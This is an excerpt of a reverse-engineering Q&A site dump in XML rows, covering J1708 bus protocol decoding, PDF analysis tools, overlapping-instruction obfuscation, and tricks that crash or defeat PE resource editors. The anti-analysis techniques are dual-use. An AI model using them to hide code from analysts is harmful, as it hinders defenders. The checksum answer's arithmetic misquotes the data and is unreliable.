7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 22 00 83 87 80 D1 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 9D 9F 33 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 22 00 83 87 80 D1 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 E6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 22 00 83 87 80 D1 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 F3 D6 F6 36 02 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 22 00 83 87 80 D1 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 74 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 22 00 83 87 80 D1 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 22 00 83 87 80 D1 1E 00 05 7D D7 E6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 62 22 00 83 87 80 D1 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7D D7 F6 36 76 36 06 1E&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know, I know, that's a very large paste of data, but linking to pastebin-type websites is frowned upon here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, my first assumption was that, as the manual says, the data is in the J1708 protocol. It seems that this is not the case, though, as I can not find any way to interpret the data as J1708.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We already have a device on board each bus that accepts input over a serial connection and forwards it to our headquarters over a cellular data connection, so figuring out this protocol is one of the final steps in this project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me, it looks like &lt;code&gt;22&lt;/code&gt; and &lt;code&gt;1E&lt;/code&gt; are significant in some way. That's pretty much all I'm mostly sure about at this point, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have access to the firmware of the VLU. I posted it as a separate question &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1550&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1458" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-05-28T09:20:46.490" Title="What techniques are used in reverse engineering a serial protocol?" Tags="|hardware|communication|hex|development|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1524" PostTypeId="2" ParentId="34" CreationDate="2013-04-02T23:21:09.390" Score="5" Body="&lt;p&gt;You can simply grep the file for &quot;&lt;code&gt;javaw.exe&lt;/code&gt;&quot; or &lt;code&gt;java.exe&lt;/code&gt;... This will usually be a pretty good indicator whether or not the program is a Java wrapper or not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;archenoth@Hathor ~/apps/Minecraft $ grep javaw.exe /host/Windows/notepad.exe &#xA;archenoth@Hathor ~/apps/Minecraft $ grep javaw.exe ./Minecraft.exe &#xA;Binary file ./Minecraft.exe matches&#xA;archenoth@Hathor ~/apps/Minecraft $ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is because wrappers usually contain the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/00AAL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-04-02T23:21:09.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1525" PostTypeId="2" ParentId="1523" CreationDate="2013-04-03T00:40:38.890" Score="5" Body="&lt;p&gt;The fact that some messages are different sizes leads me to think you might be using the wrong baud rate. J1708 is specified to be 9600/8-N-1, which means you need to ensure you are connecting at that rate (and not, say, 2400 baud). It is also possible that the OCU is using a non-standard serial port configuration, but a standard J1708-derived protocol format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the first thing I'd try is to debug the serial connection itself to make sure you're really receiving the bytes that the OCU intended to send.&lt;/p&gt;&#xA;" OwnerUserId="1328" LastActivityDate="2013-04-03T00:40:38.890" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="1526" PostTypeId="1" AcceptedAnswerId="1549" CreationDate="2013-04-03T03:09:07.193" Score="33" ViewCount="29696" Body="&lt;p&gt;I've been looking for an open-source GUI tool to extract PDF's in an automated way on Windows systems. I've used Didier Steven's tools with great interest for a while, but cannot make sense of how to use his &lt;a href=&quot;http://blog.didierstevens.com/programs/pdf-tools/&quot;&gt;PDF decomposing&lt;/a&gt;/&lt;a href=&quot;http://blog.didierstevens.com/2008/10/20/analyzing-a-malicious-pdf-file/&quot;&gt;analyzing tools&lt;/a&gt;, even after watching some of his videos. They seem to require significant understanding of the underlying PDF construction, and possibly much more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For SWF files, the tool &lt;a href=&quot;http://h30499.www3.hp.com/t5/Following-the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/ba-p/5440167&quot;&gt;SWFScan&lt;/a&gt; is the kind I'm looking for: you load the file in question into the tool. From there, you can explore the links, scripts, and images. It even auto-analyses code and shows which parts may have security issues and what the issue is for each one, then gives a webpage reference with more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a good open-source GUI for Windows that can load a PDF and not execute it but extract all the scripts, compiled code, text, links, images, etc.? Ideally, it would show the relation of each, like when you click on a certain image, it would tell you what script(s) are run, which URL it goes to, and let you see the image on its own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PDF's are so common, next to SWF, that this kind of tool seems like it would already be common. I may have overlooked it/them.&lt;/p&gt;&#xA;" OwnerUserId="1467" LastEditorUserId="36" LastEditDate="2013-04-03T03:18:26.917" LastActivityDate="2021-05-16T20:45:49.490" Title="Open source GUI tool for decomposing a PDF" Tags="|decompilation|tools|windows|" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1527" PostTypeId="2" ParentId="1526" CreationDate="2013-04-03T07:21:08.580" Score="6" Body="&lt;p&gt;Perhaps &lt;a href=&quot;https://github.com/dzzie/pdfstreamdumper&quot;&gt;PdfStreamDumper&lt;/a&gt; is close enough to what you want, but you're still going to need some knowledge of PDF to use it effectively.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="53" LastEditDate="2013-04-03T13:14:29.253" LastActivityDate="2013-04-03T13:14:29.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1528" PostTypeId="2" ParentId="1526" CreationDate="2013-04-03T07:23:07.860" Score="8" Body="&lt;p&gt;To extract malicious content mostly, like scripts and exploits, You may look on online tools:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wepawet.iseclab.org/index.php&quot; rel=&quot;nofollow&quot;&gt;Wepawet&lt;/a&gt; - online toolkit for analysis of js\pdf\flash files.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsunpack.jeek.org/&quot; rel=&quot;nofollow&quot;&gt;Jsunpack&lt;/a&gt; - online toolkit for analysis of files, that may contain packed\encoded JavaScript code, like PDF\HTML\JS. also work with .pcap files&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition - offline tool for linux (well, not GUI, but good tool) to extract shellcodes and hidden fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/CrossRef/pdfextract&quot; rel=&quot;nofollow&quot;&gt;Pdfextract&lt;/a&gt; - An offline command-line tool and library that can extract various areas of text from a PDF. &lt;/p&gt;&#xA;" OwnerUserId="1334" LastEditorUserId="1334" LastEditDate="2013-05-08T05:34:06.897" LastActivityDate="2013-05-08T05:34:06.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1529" PostTypeId="2" ParentId="1414" CreationDate="2013-04-03T07:52:16.863" Score="4" Body="&lt;p&gt;For OS X injection, I would look at the mach_star projects (mach_override and mach_inject)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/rentzsch/mach_star&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rentzsch/mach_star&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Pin now has os x support&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://software.intel.com/en-us/articles/pin-a-binary-instrumentation-tool-downloads&quot; rel=&quot;nofollow&quot;&gt;http://software.intel.com/en-us/articles/pin-a-binary-instrumentation-tool-downloads&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1481" LastActivityDate="2013-04-03T07:52:16.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1530" PostTypeId="2" ParentId="1523" CreationDate="2013-04-03T08:06:11.740" Score="7" Body="&lt;p&gt;According to J1708 a message is composed like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;byte 0  byte 1  byte 2  byte 3 to N           byte N + 1&#xA;                        (N not to exceed 20)&#xA;MID     PID     Data    Addit. Pids &amp;amp; Data    Checksum&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The checksum is calculated by adding all the bytes, invert it and add 1. A message is considerid valid if the message bytes + checksum = 0 (512).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The examples you give don't seem to match this, for example your hex dump for menu: &lt;code&gt;22 00 83 87 3D 09&lt;/code&gt;. If we assume the last byte is the checksum than we add &lt;code&gt;22 03 83 87 3D&lt;/code&gt; which yields to &lt;code&gt;105&lt;/code&gt;. Invert is &lt;code&gt;150&lt;/code&gt; + 1 is &lt;code&gt;151&lt;/code&gt; in which case the sequence would be &lt;code&gt;22 03 83 87 97&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the checksum is consistently&#xA;bad it can mean:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Another node is behaving poorly&lt;/li&gt;&#xA;&lt;li&gt;An intermittent connection is disrupting communications&lt;/li&gt;&#xA;&lt;li&gt;The baud rate is not very accurate&lt;/li&gt;&#xA;&lt;li&gt;Electrical interference&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-04-03T08:06:11.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1531" PostTypeId="1" AcceptedAnswerId="1532" CreationDate="2013-04-03T08:11:29.310" Score="23" ViewCount="7695" Body="&lt;p&gt;I analyzed some binaries in x86/x86-64 using some obfuscation tricks. One was called &lt;em&gt;overlapping instructions&lt;/em&gt;. Can someone explain how does this obfuscation work and how to work around?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-04-07T15:12:18.603" LastActivityDate="2013-06-20T08:52:46.953" Title="What is &quot;overlapping instructions&quot; obfuscation?" Tags="|obfuscation|binary-analysis|deobfuscation|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1532" PostTypeId="2" ParentId="1531" CreationDate="2013-04-03T08:25:42.750" Score="30" Body="&lt;p&gt;The paper &lt;a href=&quot;http://infoscience.epfl.ch/record/167546/files/thesis.pdf&quot;&gt;Static Analysis of x86 Executables&lt;/a&gt; explains overlapping instructions quite well. The following example is taken from it (page 28):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000: B8 00 03 C1 BB  mov eax, 0xBBC10300&#xA;0005: B9 00 00 00 05  mov ecx, 0x05000000&#xA;000A: 03 C1           add eax, ecx&#xA;000C: EB F4           jmp $-10&#xA;000E: 03 C3           add eax, ebx&#xA;0010: C3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By looking at the code, it is not apparent what the value of eax will be at the return instruction (or that the return instruction is ever reached, for that matter). This is due to the jump from 000C to 0002, an address which is not explicitly present in the listing (jmp $-10 denotes a relative jump from the current program counter value, which is 0xC, and 0xC10 = 2). This jump transfers control to the third byte of the five byte long move instruction at address 0000. Executing the byte sequence starting at address 0002 unfolds a completely new instruction stream:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000: B8 00 03 C1 BB  mov eax, 0xBBC10300&#xA;0005: B9 00 00 00 05  mov ecx, 0x05000000&#xA;000A: 03 C1           add eax, ecx&#xA;000C: EB F4           jmp $-10&#xA;0002: 03 C1           add eax, ecx&#xA;0004: BB B9 00 00 00  mov ebx, 0xB9&#xA;0009: 05 03 C1 EB F4  add eax, 0xF4EBC103&#xA;000E: 03 C3           add eax, ebx&#xA;0010: C3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would be interesting to know if/how Ida Pro and especially the Hex Rays plugin handle this. Perhaps @IgorSkochinsky can comment on this...&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="53" LastEditDate="2013-06-20T08:52:46.953" LastActivityDate="2013-06-20T08:52:46.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1533" PostTypeId="2" ParentId="180" CreationDate="2013-04-03T08:26:16.113" Score="2" Body="&lt;p&gt;There was a compiler infrastructure named &lt;a href=&quot;http://research.microsoft.com/en-us/collaboration/focus/cs/phoenix.aspx&quot; rel=&quot;nofollow&quot;&gt;phoenix&lt;/a&gt; (also see &lt;a href=&quot;http://en.wikipedia.org/wiki/Phoenix_%28compiler_framework%29&quot; rel=&quot;nofollow&quot;&gt;wikipedia&lt;/a&gt;).&#xA;I even used it for some program transformations, but unfortunately it never made it beyond what MS calls a &quot;Community Technology Preview (CTP)&quot;. Now it appears to be dead, I get 404's for each of the links on the MS research page, so it seems to me that this project was discontinued.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're interested in using LLVM/CLANG on Windows you might want to have a look at &lt;a href=&quot;http://www.ishani.org/web/2011/crowbarring-clang-into-vs/&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;, which offers an extension to use LLVM from within VS. I gave it a short try and cannot say much about it, but it should allow you to compile and build extensions for LLVM on Windows.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="1379" LastEditDate="2013-04-03T08:36:23.817" LastActivityDate="2013-04-03T08:36:23.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1534" PostTypeId="2" ParentId="180" CreationDate="2013-04-03T09:02:33.730" Score="7" Body="&lt;p&gt;A couple of things you might want to look at:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The book &quot;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0321549252&quot; rel=&quot;nofollow&quot;&gt;Surreptitious Software&lt;/a&gt;&quot; is all about writing compilers that obfuscate.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://crypto.junod.info/asfws12_talk.pdf&quot; rel=&quot;nofollow&quot;&gt;This presentation&lt;/a&gt; is similar.&lt;/li&gt;&#xA;&lt;li&gt;Somebody wrote a proof-of-concept obfuscator based on the tcc compiler, &lt;a href=&quot;http://www.openrce.org/blog/view/1632/Making_C_compiler_generate_obfuscated_code&quot; rel=&quot;nofollow&quot;&gt;and made his source code available&lt;/a&gt;. Also check the links on this thread.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="182" LastEditorUserId="4750" LastEditDate="2015-03-09T04:38:22.023" LastActivityDate="2015-03-09T04:38:22.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1535" PostTypeId="2" ParentId="1531" CreationDate="2013-04-03T09:19:39.157" Score="8" Body="&lt;p&gt;Almost any multi-byte instruction can be used as an overlapping instruction in x86/x86_64. The reason is very easy: x86 and x86_64 instruction sets are CISC. Which means, among other things, that the instructions doesn't have a fixed length. So, as the instruction are variable length, carefully writing that machine code, every instruction is susceptible of hiding overlapping instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, given the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00408210:0x00a31e10]&amp;gt; b&#xA;0x000050f5 (01) 56                     PUSH ESI &#xA;0x000050f6 (04) 8b742408               MOV ESI, [ESP+0x8] &#xA;0x000050fa (01) 57                     PUSH EDI &#xA;0x000050fb (03) c1e603                 SHL ESI, 0x3 &#xA;0x000050fe (06) 8bbe58a04000           MOV EDI, [ESI+0x40a058] &#xA;0x00005104 (01) 57                     PUSH EDI &#xA;0x00005105 (06) ff15f4804000           CALL 0x004080f4  ; 1 KERNEL32.dll!GetModuleHandleA&#xA;0x0000510b (02) 85c0                   TEST EAX, EAX &#xA;0x0000510d (02) 750b                   JNZ 0x0000511a   ; 2 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's suppose that somewhere after the last instruction there is a jump in the middle of some instruction in the displayed code as, for example, to the 2nd byte in the MOV ESI... instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000050f7:0x00405cf7]&amp;gt; c&#xA;0x000050f7 (02) 7424                   JZ 0x0000511d    ; 1 &#xA;0x000050f7 ----------------------------------------------------------------------&#xA;0x000050f9 (03) 0857c1                 OR [EDI-0x3f], DL &#xA;0x000050fc (02) e603                   OUT 0x3, AL &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It turns out that this instruction changes to a JZ. Which is valid. Jumping to the 3rd byte...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000050f7:0x00405cf7]&amp;gt; s +1&#xA;[0x000050f8:0x00405cf8]&amp;gt; c&#xA;0x000050f8 (02) 2408                   AND AL, 0x8 &#xA;0x000050fa (01) 57                     PUSH EDI &#xA;0x000050fb (03) c1e603                 SHL ESI, 0x3 &#xA;0x000050fe (06) 8bbe58a04000           MOV EDI, [ESI+0x40a058] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Jumping to the 2nd byte of the CALL instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000050f5:0x00405cf5]&amp;gt; s 0x5106&#xA;[0x00005106:0x00405d06]&amp;gt; c&#xA;0x00005106 (05) 15f4804000             ADC EAX, 0x4080f4    ; '\x8e\x91'&#xA;0x0000510b (02) 85c0                   TEST EAX, EAX &#xA;0x0000510d (02) 750b                   JNZ 0x0000511a   ; 1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, virtually any multi-byte instruction is susceptible of being used as an overlapping instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This anti-reversing trick is quite often used with opaque predicates in order to f**k the flow graph.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-04-03T09:19:39.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1536" PostTypeId="2" ParentId="1478" CreationDate="2013-04-03T09:49:02.023" Score="6" Body="&lt;p&gt;I can support the presented view of the other responders. You will rarely encounter code virtualization when looking at in the wild samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to add, here is a recent &lt;a href=&quot;http://linuxch.org/poc2012/Tora,%20Devirtualizing%20FinSpy.pdf&quot;&gt;case-study by Tora&lt;/a&gt; looking at the custom virtualization used in FinFisher (sorry, direct link to PDF, have no other source).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The VM used here has only 11 opcodes, thus this example can be easily understood and used to get an impression of some common design principles behind custom VMs.&lt;/p&gt;&#xA;" OwnerUserId="1403" LastEditorUserId="1403" LastEditDate="2013-04-03T11:23:07.330" LastActivityDate="2013-04-03T11:23:07.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1538" PostTypeId="2" ParentId="1399" CreationDate="2013-04-03T12:56:04.597" Score="11" Body="&lt;p&gt;Also, we can exploit bugs in the editors themselves to prevent tampering with our resources.&#xA;The interesting part here is that most Resource Editors have no idea how to parse non-typical (not very non-typical) PE files. For example, Some editors assume the resource section name must always be &lt;code&gt;.rsrc&lt;/code&gt;. Examples:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.angusj.com/resourcehacker/&quot;&gt;Resource Hacker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Inserting a special resource to cause Resource Hacker to go into an infinite loop. Demo here : &lt;a href=&quot;http://code.google.com/p/ollytlscatch/downloads/detail?name=antiResHacker.exe&quot;&gt;http://code.google.com/p/ollytlscatch/downloads/detail?name=antiResHacker.exe&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inserting a special &lt;code&gt;RT_STRING&lt;/code&gt; resource to cause Resource Hacker to crash.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It assumes the size of the &lt;code&gt;IMAGE_OPTIONAL_HEADER&lt;/code&gt; structure is assumed to be &lt;code&gt;sizeof(IMAGE_OPTIONAL_HEADER)&lt;/code&gt;, currently &lt;code&gt;0xE0&lt;/code&gt; in hex, while it can even be greater. Having the size to be of a greater value causes Resource Hacker to discard the whole PE file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.bome.com/products/restorator&quot;&gt;Restorator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Same as 1c.&lt;/li&gt;&#xA;&lt;li&gt;Uses the &lt;code&gt;NumberOfRvaAndSizes&lt;/code&gt; field, which can easily be forged to be &lt;code&gt;0xFFFFFFFF&lt;/code&gt;. This causes Restorator to discard the whole PE file.&lt;/li&gt;&#xA;&lt;li&gt;Assumes the resource section name must be &lt;code&gt;.rsrc&lt;/code&gt;. Change it anything else. This causes Restorator to discard the whole PE.&lt;/li&gt;&#xA;&lt;li&gt;Any resource Section with the &lt;code&gt;Characteristics&lt;/code&gt; field set to &lt;code&gt;IMAGE_SCN_CNT_UNINITIALIZED_DATA&lt;/code&gt; among other characteristics will be discarded by Restorator. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Demos here : &lt;a href=&quot;http://pastebin.com/ezsDCaud&quot;&gt;http://pastebin.com/ezsDCaud&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1331" LastEditorUserId="245" LastEditDate="2013-04-22T12:54:38.683" LastActivityDate="2013-04-22T12:54:38.683" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
